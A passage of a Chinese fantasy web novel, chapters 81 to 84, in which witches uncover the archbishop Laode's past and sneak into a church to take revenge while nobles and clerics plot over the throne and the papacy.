“等会儿,我好像真的看到了一道黑影。”尤莉尔不可置信地揉了揉眼睛。 “什么?在哪里?”塞拉斯嗖的一下从不远处飞回来。 “就在那。”尤莉尔给塞拉斯指出来。 下一秒,梅拉突然从她指的方向下冒出来,脸上还挂着那副素来笑盈盈的表情,“尤莉尔,塞拉斯,我回来了。” 塞拉斯大叫一声梅拉,便朝着梅拉的脑袋上冲去,“你你你刚才跑到哪里去了?知不知道我和尤莉尔都担心坏了,生怕你在水底下出了什么事,就差跳进这条河里找你去了。” “我倒是没出事,但艾莉卡有没有出事就说不定了。” “什么艾莉卡?”塞拉斯有点发蒙。 “梅拉你,你找到我的姨妈了?”尤莉尔也让这突如其来的消息炸了一下,脑子一时半会儿转不过弯来。 “行了,别躲了。”梅拉则看向水下。 艾莉卡正在底下憋着气,也不敢随梅拉探出头来。 她听到尤莉尔的声音,心底就升起一丝怯意。 仿佛一个犯了错的孩子,终于让人抓了个正着。 刚刚在隧道里的时候,梅拉三言两语间提到过,她和尤莉尔为了找到她,一路从那么远的地方走来,期间尤莉尔不仅让教会抓住折磨,还因为中毒,虚弱地躺在床上,差点丢了半条命。 虽然哪怕再给艾莉卡一次机会,她仍然会这么做,毕竟她有不得不离开的理由。 但此时面对尤莉尔,艾莉卡还是忍不住对这个从小看着长大的孩子生出了一点愧疚感,毕竟如果不是担心她,尤莉尔何必吃这么多的苦,也非要找到她不可。 “都快上来吧,泡在水里怎么说话?” 尤莉尔显然也知道艾莉卡正躲在水下不敢面对她了,她的表情瞬间变冷,连名字都不喊了,就这么让梅拉和艾莉卡从护城河里爬上来。 做错事的又不是梅拉,她干脆利落地爬上来,水滴滴答答地滴了一路,得找个安全的地方烤烤火才行。 艾莉卡紧跟在梅拉身后,就是不与尤莉尔对视,仿佛这样就真的能掩耳盗铃了一样。 然而她越是这样遮遮掩掩的态度,越令尤莉尔生气。 合着艾莉卡明明知道这么做会让她担心,结果她还是这么做了,真以为自己是长辈就能随意胡来了吗? 等下她非得好好问问她,为什么要这么做不可。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 第 81 章 [拉奥德登场] “一群蠢货!竟然连一个女人都抓不住, 还让她在王宫里放了那么大一场火!” 听到守卫来报,说放跑了那个守在努伦格尔九世身边的红发侍女时,凯尔多顿时气得跳脚。 明明切尔各负责王宫守卫的时候,这些人个顶个的训练有素、令行禁止, 也不知道为什么, 这些年却在他手底下变得越来越不中用,如今连这么件小事都办不好, 简直叫他在福森面前抬不起头来。 “无所谓, 一个侍女而已, 如今王城已经封锁, 她逃不出去的, 抓紧时间多派点人将整个王城搜查一遍就是了。”福森不急不躁地提议道。 “我这就去!有我盯着,他们绝对不敢再在我的眼皮子底下偷奸耍滑。”凯尔多头也不回地走了。 看着凯尔多匆匆离去的背影,福森嘴角的笑意一点点加深。好好的数千名守卫, 早就在这些年让凯尔多给养废了。 当然, 若不是因为凯尔多是个酒囊饭袋,福森反而不敢轻易向他投去合作的橄榄枝。 毕竟只要有点脑子的人都知道,外人哪有自家人靠谱,伊莱雅之所以一直不厌其烦地为安东尼奥和凯尔多收拾烂摊子,不就是因为他们都姓裘德吗。 可惜,安东尼奥和凯尔多不仅不领伊莱雅的情,还让福森许诺的好处给打动了。 其实福森也没说什么, 只不过是让他们俩以为软禁伊莱雅后, 自己就能借着未来国王陛下舅舅的名义大展拳脚,而不是事事都要以伊莱雅马首是瞻。 想起这些年的忍气吞声和伊莱雅的冷脸,安东尼奥和凯尔多简直迫不及待地答应了福森的条件,配合地让人将伊莱雅和西维里分别送回他们各自的房间内看管起来。 “接下来就是让大家都知道莱克斯究竟有多狠毒了, 竟然为了王位谋害重病的父亲,这样的人怎么能继续当王储呢——我保证明天一天之内,就把这消息传遍王国的大街小巷。” 安东尼奥得意洋洋地道,甚至显得有些急不可耐,巴不得现在就去把这件事吩咐下去。 他可比弟弟凯尔多要多几个心眼,生怕福森抢了他们的功劳,到时候他们岂不是白出力了。 想到这,安东尼奥迫不及待地让福森离开,他则关起门来和手下商量如何把莱克斯的名声给彻底搞臭。 福森假装没有看出安东尼奥的心思,乘坐马车回到了他在王城的宅邸。 头发梳得一丝不苟的男管家走上前来,告诉福森有客人到访,已经被他领去书房等候。 福森颔首,抬腿上了二楼的书房。 他推开门,便见戴着兜帽的男人正饶有兴致地站在窗前欣赏今晚的夜色。 “刚才王宫那场大火可真精彩,福森,你能同我说说都发生了什么事吗?” “没什么,一点小意外罢了,一切都在按照我们的计划进行着。只不过,拉奥德,这么晚了你还有闲心到我这来看戏。” 福森摇头,走到沙发上坐下,亲自拿起茶壶给自己倒了一杯茶。 这壶茶是前不久管家让人拿来招待客人的,此刻还残留着些许温热,一股热流下去,很好地熨贴了福森的胃。 “我作为如今最年轻的大主教,当然闲了,那群老东西巴不得我能更闲一点,这样就没办法和他们争教皇的位子了。”拉奥德转过身来,走到福森的对面落座。 福森看着他不过四十岁左右的面容,悠悠地叹了口气,“要是阿隆索大人能再多坚持几年,也不用早早地将你提拔为大主教,暴露在那些人面前,让他们提前有了忌惮。” “不过没关系,只要我们掌控了西维里王子,等他顺利登上王位后,有了他的支持,任何人都不能再与你抢教皇的位子,它本就属于阿隆索大人留给你的东西。” 提到西维里,拉奥德也跟着叹了口气,“当初伊莱雅怎么就没能彻底解决莱克斯这个大麻烦呢?否则我们也不用如此大费周章地布置一番,还差点让西维里的失踪打乱了计划。” “呵呵,谁能想到意外失踪了的西维里王子竟然又主动找上门来了呢?说明命中注定,他要为我们所用。”福森呵呵一笑道。 与此同时,一道精光飞速地从他的眼中划过,落入清透的茶水中,被他一饮而尽。 * 城外,梅拉早已将衣服脱得只剩一件打底的衬裙,因为不能生火,她只好将叶子堆在一起,闷闷地烧起烟来,用烟来熏干湿漉漉的衣服。 再加上衣服搭在树枝上,将烟团团裹住,也就不用担心会泄露出去,引起塔楼上守卫们的注意。 “说吧,为什么要不辞而别。” 尤莉尔双手环胸,定定地盯着艾莉卡,不容许她有任何逃避的机会。 “唔……”艾莉卡转了转眼珠子,含糊地道,“我有我不得不去做的事。” “什么事?”尤莉尔追问,一副“你休想打马虎眼”的样子。 “哎呀我的事和你说不明白,你就别问那么多了。”说完,艾莉卡还反过来劝尤莉尔赶紧和梅拉一起回去,这里太危险了,不适合她们呆。 “你明知道危险还要独自前来!”尤莉尔气势汹汹地瞪了艾莉卡一眼,“我不管,要走一起走,否则我绝对不走!” “看看我们小尤莉,怎么还是和以前似的,像头驴一样倔。”艾莉卡朝着梅拉叹气道。 梅拉却闲闲地撩起眼皮,“我也很好奇,你究竟想做什么,艾莉卡。为什么你要掺和进王室的斗争之中,去伤害一个无辜的人。” “你怎么知道——”艾莉卡的脸色骤变,不再带着刚才故意伪装出来的轻松。 “其实之前在白晶城,我就发现了你,可惜你当时好像把我当成了别人,跑得太快,把我给甩开了。” 梅拉一边说,一边用树枝撩了撩叶子堆,让快要熄灭的烟再冒出来一些。 “原来当时追在我身后的那个人是你,我还以为是那个琼斯夫人派出来的追兵。” 艾莉卡双手撑地,往后倒了倒,看向一望无际的夜空。 “我就说,她怎么可能那么快就发现了不对劲。” “但你害得我和尤莉尔被当成下毒的罪魁祸首抓了起来。”梅拉平静地指出艾莉卡所不知道的事。 “所以你们这是逃出来了?”艾莉卡侧头看向梅拉。 梅拉摇头,“不,我解了你下的毒,作为救命恩人,带着尤莉尔光明正大地离开了弗霍斯特庄园。” “早知道当初就不应该让你成为女巫,不然现在也不会坏了我的好事。”闻言,艾莉卡嘟嘟囔囔地抱怨了一句。 “就算没有你,我也一定会成为女巫的,毕竟我的天赋无人能敌。”梅拉毫不犹豫地顶了回去,一点也没给艾莉卡留面子。 艾莉卡悻悻地轻哼了一声,却没有反驳,因为梅拉说的确实是事实。 即使没有艾莉卡,她也会在未来的某一天成为一名真正的女巫。 就像没有任何星星会因为一时的阻挡而失去本身的光亮,不过是暂时被乌云遮起来了而已。 “所以你现在可以说说你到底想做什么了,说不定我能给你帮上忙呢。”梅拉用闲着的那只手顶着膝盖,撑住了脸,气定神闲地看着艾莉卡。 “其实也没什么,我想杀一个人而已。”艾莉卡理了理鬓边散乱的头发,口吻一如既往的轻快,“一个叫拉奥德的男人。他早就该死了。” “拉奥德?”梅拉与尤莉尔对视一眼,不禁流露出同样的讶异。 “怎么?你们知道他?”艾莉卡意识到事情似乎超出了她的想象,连忙否认道,“这怎么可能,我从来没跟尤莉尔提过她的父亲是谁。 “父亲?他真的是我的父亲?”尤莉尔忍不住抬高了音量,喉咙里像被人塞入了一只青蛙一样,一鼓一鼓地震动,连带着头也跟着眩晕。 “原来那个老妇人没有认错人。”梅拉也若有所思地道。 “等等,你们谁来跟我说说,这到底是怎么一回事?”艾莉卡让她们两人的反应弄得莫名其妙的。 “简单来说,就是我们在找你的路上遇到了一个叫桑诺的老妇人,她说尤莉尔的眼睛和她的父亲一模一样,所以尤莉尔一定是她的孙女。至于那个男人的名字,你也知道,就叫拉奥德。”梅拉向艾莉卡解释道。 “原本我们还不信,听说那个老妇人这些年认错过许多人,但……” 谁能想到,这一回还真给她瞎猫碰上了死耗子,撞见了尤莉尔呢。 “原来是这样,”艾莉卡的眼中划过复杂的神色,“或许这也是冥冥之中的命运注定了你们要相遇吧。” 毕竟是血缘上的祖孙。 而血缘这东西,是最难割舍的。 “尤莉尔,拉奥德确实是你的父亲,也是他害死了你的母亲,我的姐姐艾琳。” “曾经,我以为我已经杀了他,成功替艾琳报仇了,没想到他竟然侥幸逃过一劫,还来到王城,成为了受众人簇拥的最年轻的大主教。” “呵,”尤莉尔忽然冷笑一声,“教会里都是群人面兽心的混蛋,他一个下流的人渣,能够当上教会的高层也没什么稀奇的。更何况,他还是老教皇阿隆索的私生子之一。不过,那老家伙死之前也只剩下他这唯一一个儿子了,否则他也不可能得到阿隆索全力的培养。” 见尤莉尔从极度的震惊中回神,与梅拉一起看向自己,艾莉卡久违地沉入往事的回忆之中,娓娓道来了一段早已泛黄的故事。 有关年轻的艾琳是如何识人不清,爱上一个口蜜腹剑的败类的故事。 第82章 第 82 章 [过去] 艾琳和艾莉卡是双胞胎, 然而她们的性格却大相径庭。 身为姐姐的艾琳温柔随和,身为妹妹的艾莉卡却倔强得要命,常常同自己的母亲也要呛声。 甚至刚刚成年,艾莉卡就迫不及待地搬了出去, 只偶尔回来同一家人吃顿晚餐, 让大家放心,她活得好好的, 没有出事。 因此谁都没有想到, 当艾琳决定离开的时候, 竟然比艾莉卡还要难劝。 “为什么想要离开呢?” 艾莉卡躺在床上, 侧过身同一旁的艾琳聊天, 就像她们小时候一样亲密无间。 “嗯……因为我想要看看外面的世界。” 艾琳笑着替艾莉卡捋了捋散到眼前的碎发。 “我不像你一样沉迷于做一名女巫,每天捧着前辈们的手札学习咒语、炼制新的药剂。比起这些,我更想当一个普通人去见识村子外的人和事, 想来那一定十分新鲜又有趣。” “既然你已经做好了决定, 那我就不拦你了。” 艾莉卡能从艾琳发亮的眼睛中看出,她是真的想离开。 “记得帮我多回来看看姑妈一家。”艾琳又叮嘱道。 “知道啦。”艾莉卡不耐烦地转回去,双眼一闭,表示自己要睡觉了。 艾琳微微一笑,同样翻了个身,背对着艾莉卡睡着了。 第二天天一亮,艾琳便走了。 此后, 艾莉卡断断续续地从艾琳的信中得知她去了哪里, 遇见了什么有趣的人,碰到了什么新奇的事,直到有一天,艾琳在信上告诉她: 亲爱的艾莉卡, 我遇到了喜欢的人,不打算再离开了。如果你想我了的话,可以到这里来找我们。 艾莉卡看着艾琳在信的末尾留下的地址,撇了撇嘴,并没有要动身前去探望艾琳的打算。 她和艾琳不一样,即使从小被身为普通人的姑妈一家养大,但她一点也不向往普通人的生活,更别提找个男人和他一起过平静的日子了。 那一点也不女巫。 因此两年后,艾莉卡风尘仆仆地赶到艾琳住的地方时,恨不得指着她的鼻子狠狠地骂她一顿。 事实上,当艾琳提出她匆匆叫艾莉卡赶过来的理由后,艾莉卡是真的没忍住骂了她一顿: “你是疯了吗?我为什么要帮一个面都没见过的男人用占星术修改他的命运?他死就死了,你再找一个喜欢的人不就行了。” 艾琳露出一个苦笑,“艾莉卡,爱情不是你想的那样简单,我这辈子都只会喜欢拉奥德一个人。” “而且,”艾琳摸了摸自己已经凸起的肚子,“我的小尤莉还有一个月就要出生了,看在她的面子上,你救救她的父亲好不好?” “好个屁!”艾莉卡让艾琳这番话气得七窍生烟,都想撬开她的脑子看看里面装的到底是什么了。 艾琳当初都能义无反顾地舍弃她这个妹妹,为什么却不能舍弃这个叫拉奥德的男人,难道爱情比她们姐妹之间的感情要来得更重要吗? “艾莉卡……姐姐求求你了……如果不是因为我没有这个能力,我也不会特意将你叫过来。”艾琳言辞恳切地哀求道。 以艾琳占星术刚刚入门的水平,只能看出拉奥德这次出门会遇到危及他生命的意外,却没法帮他躲过这场灾难。 “既然知道他出门会死,当初为什么不拦着他?不让他出门不就好了。”艾莉卡冷漠地道。 艾琳的眼神黯淡下来,她轻轻地摇了摇头,“我曾经劝了拉奥德很多次,让他留下来看着孩子出生。” “但他说,正是因为我们的孩子要出生了,他才必须非去这一趟不可。他必须知道那么多年来将他和母亲抛弃在辉光小镇的生父到底是谁,他不想让我们的孩子继续背负‘野种’的骂名。” “拉奥德他是个很好的人,但因为他出生起就没有父亲,镇上的人都看不起他们母子,孩子们也喜欢欺负他。这种情况下,他好不容易得到了有关亲生父亲的消息,我又怎么忍心继续拦着他呢?” 艾琳说着,眼中已泪光盈盈。 她这副模样,让艾莉卡看得直接撇过了头。 她又不认识那个叫拉奥德的,才不会像她让爱情冲昏头脑的姐姐一样心疼誻膤團對一个陌生的男人。 “所以你就宁可麻烦你的亲妹妹,也要救那个男人。”艾莉卡不耐烦地点破真相,甚至忍不住翻了个白眼。 然而艾琳毕竟是与她从小一起长大的姐姐,艾莉卡还是心软了,“行了行了,我就帮你这一次。” “不过,”艾莉卡有一个条件,“你生下来的孩子,必须交给我带回去。” 这也是此次艾莉卡愿意赶来见艾琳的原因,她要将艾琳的孩子带回去抚养。 女巫生下来的孩子自然也是女巫,但艾琳显然只能带着她的孩子过普通人的生活,那怎么行,就算艾琳的孩子成年后打算走上她母亲的老路,找个普通的男人在一起,那也是之后的事了。 在此之前,艾莉卡必须承担起年长女巫的责任,将这名即将出生的小女巫教导至成年。 “好,我知道的,等尤莉尔出生,你便把她带走吧。”艾琳不舍地摸了摸肚子,却也知道这就是她们女巫的传统。 “她叫尤莉尔吗?” 见艾琳答应下来,艾莉卡脸色的表情稍微好了一些,也有心情伸手贴到艾琳的肚子上,感受一层皮肉之下那个孩子的分量。 “没错,这是我和拉奥德商量后给她起的名字,尤莉尔,是希望的意思。”艾琳笑道,弯弯的眼睛中流淌着满满的母爱。 艾莉卡却不太喜欢这个名字,“又是教会那一套。” 什么希望啊,黎明啊的,教会最喜欢拿这些来给人当名字了。 但既然孩子的父亲和母亲都没意见,艾莉卡这个当姨妈的也只能发发牢骚,表明一下态度罢了。 艾琳笑了笑,没有说话。 她们都在等待今晚的夜色降临。 有了星星,才能使用占星术窥看他人的命运。 而像艾莉卡这样厉害的女巫,甚至能推动星星的走向,让命运发生更改,让必死之人死里逃生。 做完这一切,艾莉卡暂时留在了艾琳的屋子里,直到一个月后,尤莉尔呱呱坠地,她才抱着孩子头也不回地离开。 “后来的每一天,我都在庆幸当初将你抱走了,否则你岂不是要和你的母亲一样,被那个人面兽心的家伙关入教会的地牢里折磨。”艾莉卡淡淡地道。 这是她这么多年来做的最不后悔的一件事。 而她最后悔的则是没有强硬地将艾琳一起带走,反而放任她继续和拉奥德在一起。 于是半年后再一次收到艾琳传来的消息时,艾莉卡的眼中充斥着熊熊燃烧的怒火。 她将尤莉尔拜托给同为女巫的好友照顾,想着如果这次自己前往王城没法活着回来的话,起码尤莉尔将来不至于无人教导。 “说是艾琳传来的消息,其实不太准确,因为告诉我艾琳被关在教会地牢里的人其实是伊莱雅。”艾莉卡继续冷静地抛下一枚惊雷。 却也成功解答了一直盘旋在梅拉心间的疑惑,原来是这样,怪不得艾莉卡愿意为伊莱雅做事,乃至于受她驱使,前去杀害远在弗霍斯特领的斐南基。 “所以当时您前往王城的时候,母亲还没有死,对吗?”尤莉尔怔怔地问。 艾莉卡没想到尤莉尔会注意到这一点,她也跟着愣了一下,过了一会儿,才道,“没错,我潜入教会地牢的时候,艾琳已经被折磨得奄奄一息,但她还留着最后一口气,用来告诉我千万要带着你藏好。” “拉奥德死里逃生后,从艾琳的嘴里知道了女巫的存在,也知道了厉害的女巫竟然能够做到改变别人的命运——他想要找到我,也想要找到你,帮助他直接成为新的教皇。” 说到这,艾莉卡冷笑一声,“这时候的他不过是老教皇众多私生子中的一个,他的母亲出身又是那样的普通,他想成为教皇无异于白日做梦。” 但艾莉卡和尤莉尔的存在无疑成了拉奥德眼中足以孤注一掷的希望。 希望啊,艾莉卡看向尤莉尔,面色复杂,没想到她还真的成为了她父亲口中的希望。 “母亲她……最后还说了别的什么话吗?”尤莉尔不死心地问。 当然有,但艾莉卡却不打算告诉尤莉尔,那是她们姐妹之间的悄悄话。 是艾琳向她道歉,明明知道会有危险,还是希望她冒险来见自己最后一面。 是艾琳后悔身为姐姐,竟然给她这个妹妹招惹了那么大的麻烦。 是艾琳说爱情没有错,但她偏偏爱错了人。 随着回忆越来越清晰,艾莉卡慢慢地闭上了眼睛,免得让眼泪湿润了眼眶。 尤莉尔也陷入了沉默之中。 “那你当初受伤是怎么一回事?”此时还能保持冷静的人唯有梅拉。 她想起了与艾莉卡初遇时,她腹部上严重的伤口。 “噢,那是因为我试图去杀了拉奥德给艾琳报仇,结果惊动了整个教会还有王城的守卫们,千钧一发才逃了出来。”艾莉卡云淡风轻地道。 说起来,如果不是因为受了伤,艾莉卡担心自己死在半路上,才不会特地绕路去菲斯特领,想着白松镇附近似乎有一种她只在手札上见过的草药。 就算是她要死了,她也要见到这种草药,了却遗憾再死。 结果误打误撞地碰上梅拉,还中了她的招。 “啧。” 想到这,艾莉卡不满地啧了一声,心中的伤感顿时如潮水般退去,只有天赋被梅拉比下去的不爽。 艾莉卡一向认为自己是如今所有女巫中最厉害的那一个。 但梅拉却让她知道,她不是。 因为就算是艾莉卡,也不可能在只听过一遍的情况下成功领会昏睡咒,还成功使用了出来。 更别提梅拉当时还没有成为一名货真价实的女巫。 对此,梅拉骄傲地抬起下巴,还有空安慰尤莉尔,“你看,连你姨妈都比不过我,你的天赋不如我也很正常,以后就别再嫉妒我了。” 这话听了,尤莉尔瞬间抛却满脑子的伤心难过,只有拳头硬了的冲动。 第83章 第 83 章 [潜入教会] 夜色寂静, 只有野猫偶尔从屋檐上探头,一双黄澄澄的兽瞳居高临下地俯视着底下成群走过的人类。 自从努伦格尔九世死亡的消息传出,短短两天之内,王城内负责巡逻的守卫肉眼可见地增多。 听着门外整齐划一走过的脚步声, 屋子里的人们很难说清楚心里是安全感居多还是惴惴不安居多。 他们已经许多年没有见过这样的阵仗了。 “谁在那里?” 排在巡逻小队末尾的守卫忽然暴喝出声。 引得队伍中的其余人纷纷停下来, 跟着他一起看向刚刚走过的街道。 “发生什么了?” 排在最前头的守卫,即这支队伍的头领走过来, 询问道。 “我刚才好像看见一个黑影闪入了那条巷子里。” 闻言, 头领没有犹豫, 立刻有了决断, “走, 我们过去看看。” 如果是别的时候也就算了,这会儿却是任何一点异动都不能放过。 等他们这支八人小队离开后,梅拉和艾莉卡从他们原本要经过的街道中走出, 并迅速进入了另一条巷子。 接下来, 梅拉悄悄探出小半张脸,确认又一支巡逻小队走过,便利落地爬上堆放在路边的箱子,轻盈地跃上了二楼的阳台。 艾莉卡紧随其后,同样上到了另一栋房子的阳台。 过了一会儿,一道白影从半空中窜出,落到了梅拉的肩头, 是塞拉斯。 “干得漂亮, 塞拉斯。”梅拉小声地夸道。 塞拉斯立刻骄傲地哼哼了两声。 为了能够帮助梅拉与艾莉卡在今夜顺利潜入教会,塞拉斯昨天一整天都没合眼,愣是记住了从早到晚守卫们交叉巡逻的路线,又在刚刚梅拉与艾莉卡将要被发现时, 叼着别人晾在窗外的衣服飞了过去,引开了守卫们的注意。 这下梅拉总该知道,带上它多么有用了吧。塞拉斯不无得意地想到。 一开始商量潜入教会这件事的时候,梅拉的打算是让塞拉斯留下来陪着尤莉尔,她和艾莉卡进去就够了。 “为什么我要留下来?” “凭什么要我留下来!” 尤莉尔和塞拉斯分别道。 说完,她们对视一眼,立刻不对付地各自将脸撇到一边。 “因为尤莉尔你不会游泳不是吗?”梅拉淡定地答。 “我们想要利用护城河下发现的那条隧道重新进入王城,但你不会游泳的话,我们要怎么把你带下去呢?” “我……”尤莉尔卡壳了,毕竟梅拉说的确实没错。 可是从艾莉卡嘴里得知父母的往事后,尤莉尔怎么可能干等在城外什么也不做,至少,至少她也想为母亲的报仇出一份力。 “行了,你就乖乖呆在城外,等着我们回来就好。如果连我和梅拉都办不到的事,多加一个你也起不到什么作用。”艾莉卡直白地道。 不愧是将尤莉尔抚养长大的人,艾莉卡最懂得说什么能够令尤莉尔老老实实地闭嘴。 “那我呢那我呢?我不需要游泳也能陪你们进城。”塞拉斯急切地抢过话头,“再说了,尤莉尔又不是小孩子了,干嘛非得让我留下来陪她。” “更何况,梅拉你才是我的主人啊,我当然要随时随地陪在你的身边!我会保护你的!”塞拉斯振振有词地道。 那双黑豆一样的眼睛里写满了坚定。 “塞拉斯……”梅拉败下阵来,“好吧,艾莉卡说那条隧道的出口在监狱,到时候塞拉斯你先飞到那附近等我们。” “好!”塞拉斯一口应下,高兴地扑到了梅拉的怀里。 等到夜色降临,在尤莉尔的注视下,梅拉与艾莉卡一前一后进入护城河中。 这回有了经验,梅拉没有在水下多做停留,而是飞快地找到了洞口进入隧道之中。 进入隧道之后,两人没有急着前进,而是花了点时间将衣服拧干,起码不至于一路滴滴答答地留下水痕。 接下来,换艾莉卡走在前面,梅拉落后一步。 “梅拉,我很抱歉。” 黑暗中,艾莉卡忽然道。 “我不舍得像拒绝尤莉尔一样拒绝你,说到底,还是因为我太自私了,不想让她陪我来冒这趟险。” 说实话,听到梅拉说要帮她一起复仇的时候,艾莉卡心中一松,和单打独斗比起来,当然不如有个帮手更容易。 然而不可否认的是,这趟教会之行势必危险重重,艾莉卡拒绝让尤莉尔跟着一起来,表面看是附和梅拉,实际上是不想因为她的决定,让艾琳留下的唯一的孩子出事。 “你要怪我就怪吧,我可不想在这冒险关头还要让你在心里留下个疙瘩。”艾莉卡故作轻松地道。 “不过,我知道以你的脾气,是不可能听了我这番话就掉头离开的,对吧?” 若是仔细听的话,还能从艾莉卡对声音中听出一丝忐忑来。 “……艾莉卡,你有没有觉得,你跟着伊莱雅这段日子,都变得不像是一名女巫了。” 梅拉的声音幽幽地从后方传来。 “至少没有一名女巫会故意用这种手段来拿捏人心,不是吗?” 刚才艾莉卡那番话看似是对梅拉剖开心扉,其实是她生怕梅拉回头反应过来,对她产生芥蒂才故意这么说的。 想想吧,艾莉卡明明可以不把这点小心思说出来的,偏偏她主动向梅拉坦白了,梅拉是不是还应该感动于她的坦诚。 可是,“真正的坦诚不是这样的,你完全只是想利用我的心软而已。”梅拉直白地指出。 “……” 艾莉卡沉默下来,因为她的心思确实都让梅拉给说中了。 她也没想到,自己有一天竟然会变成曾经最讨厌的,满肚子弯弯绕绕的人。 “看来我可真是多此一举了。”艾莉卡无奈地道。 要不是她说了这一番话,梅拉也不会借机发挥一通。 现在好了,让梅拉说出自己不可告人的想法,艾莉卡的脸上难免有些火辣辣的疼,她是真的感到了一丝羞愧。 * “好了,出口到了,这下也没有让你反悔的机会了。” 艾莉卡停下脚步,转身看向梅拉。 “梅拉,谢谢你愿意帮我这一次。” “看在你曾经帮过我的份上,这份感谢我就收下了。” 梅拉嘴角噙着笑意,仿佛没事人一样越过艾莉卡,先一步爬了上去。 腿长在她自己身上,是她决定要跟着艾莉卡一起行动,就不曾感到过后悔。 偏偏艾莉卡从伊莱雅身上学来了疑心病,非要试探这一遭,简直和当初的莱克斯如出一辙。 这难道就是贵族间的通病吗? 梅拉有一瞬的走神。 她其实不怎么会怀念莱克斯在身边的日子,但偶尔,也会这样想起与他有关的事情。 “根据塞拉斯昨天记下的路线,我们待会儿应该这么走。” 艾莉卡同梅拉商量好等下该如何前往教会后,两人轻轻松松地躲过监狱外松散的看管,顺利地踏出第一步。 塞拉斯早就等在了监狱旁一栋房子的屋顶上,见到梅拉与艾莉卡出来,顿时一振翅膀,跟在了她们头顶上。 两人一鸟这一路有惊无险地进入了教会内部。 “之前,我假扮伊莱雅的侍女,同她进来过这里好几次,等下你跟着我走就好。” 艾莉卡说着,拉着梅拉躲到足以藏下她们两人的石柱后,远远地看着一名年轻的神父在前一个拐角转身,消失不见,这才继续带着梅拉往前走。 “我们先去找两套修女的衣服换上,这样哪怕无意中被撞见也有糊弄过去的机会。” 当然,实际情况其实是艾莉卡找到了两名修女,直接趁她们没有防备将她们弄晕了,接着迅速地把她们的衣服和自己的进行了交换。 换好衣服后,梅拉跟着艾莉卡又绕着走廊走了一段路,远远地见到了一座花园。 “接下来,我们大概得分开走了,作为陪同王后前来教会的侍女,我最远只走到了花园这里。” 艾莉卡忽然停下脚步,深吸了一口气,对梅拉道。 作为帮助伊莱雅控制住努伦格尔九世病情的交换,伊莱雅答应要帮艾莉卡除掉拉奥德。 只不过,那会儿老教皇还在世,他又只剩拉奥德这唯一一个儿子,拉奥德天天守在他的床前,让伊莱雅根本没法轻举妄动。 “艾莉卡,你再等等,等阿隆索那老东西咽气,几个大主教为了教皇的位子打起来,我们想要除掉失去靠山的拉奥德简直轻而易举。” 那时候,伊莱雅生怕艾莉卡忍不住,只好不停地拿话安慰她。 现在,艾莉卡十分庆幸她没有将全部的机会压在伊莱雅的身上,而是几次三番亲自进入这座教会中,否则前头的路她也不能那么顺利地带着梅拉一路走来。 但是现在,她和梅拉想要在花园后头这众多的房间之中找到属于拉奥德的那一间,显然得靠两个人分开寻找。 “最迟天亮之前,我们必须要离开这里,到时候不管有没有找到拉奥德,我们都在花园这汇合。”艾莉卡像是做了某种决定,缓缓开口道。 梅拉知道艾莉卡在担心什么,由于王城的守卫增强,教会内的守卫则有些松懈,错过今晚这么好的机会,她们下次想要像这样潜入教会,难度必定翻了好几倍。 即使如此,艾莉卡还是决定找不到人便带着梅拉离开。 对于艾莉卡来说,这是个极大的妥协,她到底没有被复仇的火焰烧毁了全部的理智。 “放心,我们一定能找到他的,”梅拉指了指天上,笑眯眯地安慰了艾莉卡一句,“毕竟今晚的星星可是很亮呢。” 这么久了,梅拉还是头一次见到这么明亮的星空,就算中途有所波折,结局大概也会是她们想要的样子。 第84章 第 84 章 [阴谋] 亮起的烛火在黑夜中是如此显眼, 梅拉沿着空寂的走廊一路轻手轻脚地来到门外,意外发现厚重的雕花大门并没有关严实,而是透过一道细小的门缝,漏出了细碎的人声。 “……明天就是国王陛下的葬礼了。” 一道沉稳的男声从门缝后飘了出来。 嗯?明天竟然是努伦格尔九世的葬礼了?这么快的吗? 一般来说, 为了给贵族们赶路的时间, 以及筹备葬礼的需要,国王的尸身会暂时放入冰棺之中, 直到葬礼开启, 过程最快也要十天左右。 但, 梅拉算了一下, 今天才是艾莉卡逃出来的第三天, 也就是说,努伦格尔九世的葬礼定下来的也太匆忙了一点。 梅拉屏息凝神,继续偷听。 “呵呵, 要不是我竭力把这事尽早定下来, 还不知道拉奥德那家伙还留有后手呢。” 另一道苍老的男声飘出来,让人一听就能想象出一个胡子花白的和善老人形象。 然而他接下来说的话可一点也不和善。 “我早就猜到,阿隆索那老家伙不可能满足于让自己唯一的儿子只当一个大主教而已,否则等他一死,大主教有什么用?还不是被人一脚踢到没有油水的穷地方去。你说对吧,格奥鲁多?” 听到熟悉的人名,梅拉的眼睛微微睁大。 没想到曾经在菲斯特领的格奥鲁多主教竟然也在这里。 房间内, 听到这番话的格奥鲁多脸色顿时变得不太愉快。 这件事梗在他心头太久, 从他一朝被踢出王城,被分到菲斯特领当主教时起便如一根细细的鱼刺,偶尔泛起扎心的细细的疼。 想当初,格奥鲁多的靠山还是上上一任老教皇, 那会儿他多风光啊,教会里的谁见了他不是笑脸相迎,连阿隆索都只配得到他一张冷脸。 哪想到阿隆索不声不响的,早已暗中拉拢了不少人,直接踹掉格奥鲁多原本看好的大主教,成为了新一任教皇,还雷厉风行地将格奥鲁多踢得远远的,害得他在菲斯特领那个穷地方呆了近十年。 要不是格奥鲁多抓住机会,发现了女巫的踪迹,恐怕他余生都要在不甘心中度过。 哈,哪怕因为菲斯特子爵不中用,让那狡猾的女巫逃了,可格奥鲁多还是借此回到了王城的教会之中。 只不过,因为有阿隆索压在头顶上,格奥鲁多回来了也不过是个边缘人,受尽了冷待。 现在好不容易熬到阿隆索病亡,让人旧事重提,格奥鲁多那股怨气又冒了头,他阴恻恻地盯着说话的那人: “菲科勒,你是存心想和我过不去吗?” 叫作菲科勒的老人摸了摸他打理好的白胡子,笑起来的皱纹叠到一起,叠出了慈祥又温和的模样,“哈哈,别生气嘛,格奥鲁多,这么多年过去了,你的脾气怎么还是那么差劲。” “我们还是继续来聊聊明天的葬礼吧。”菲科勒道。 “对,对,我们还是聊葬礼吧。” 最开始的男声像是终于找到可以插话的空档,尴尬地打起了圆场。 “毕竟我们今晚聚在一起的目的,不就是为了明天能够顺利地将拉奥德逐出教会吗?” 只要拉奥德离开教会,他也就失去了竞争教皇的资格。 说起来,如果不是因为发现拉奥德身后有加德纳家族的支持,格奥鲁多他们三人还未必会联手。 格奥鲁多也就算了,菲科勒与在场的另一个中年男人安德烈可是炙手可热的下任教皇人选。 能让他们暂时放下斗争,概因福森·加德纳和他所代表的加德纳家族实在令人忌惮。 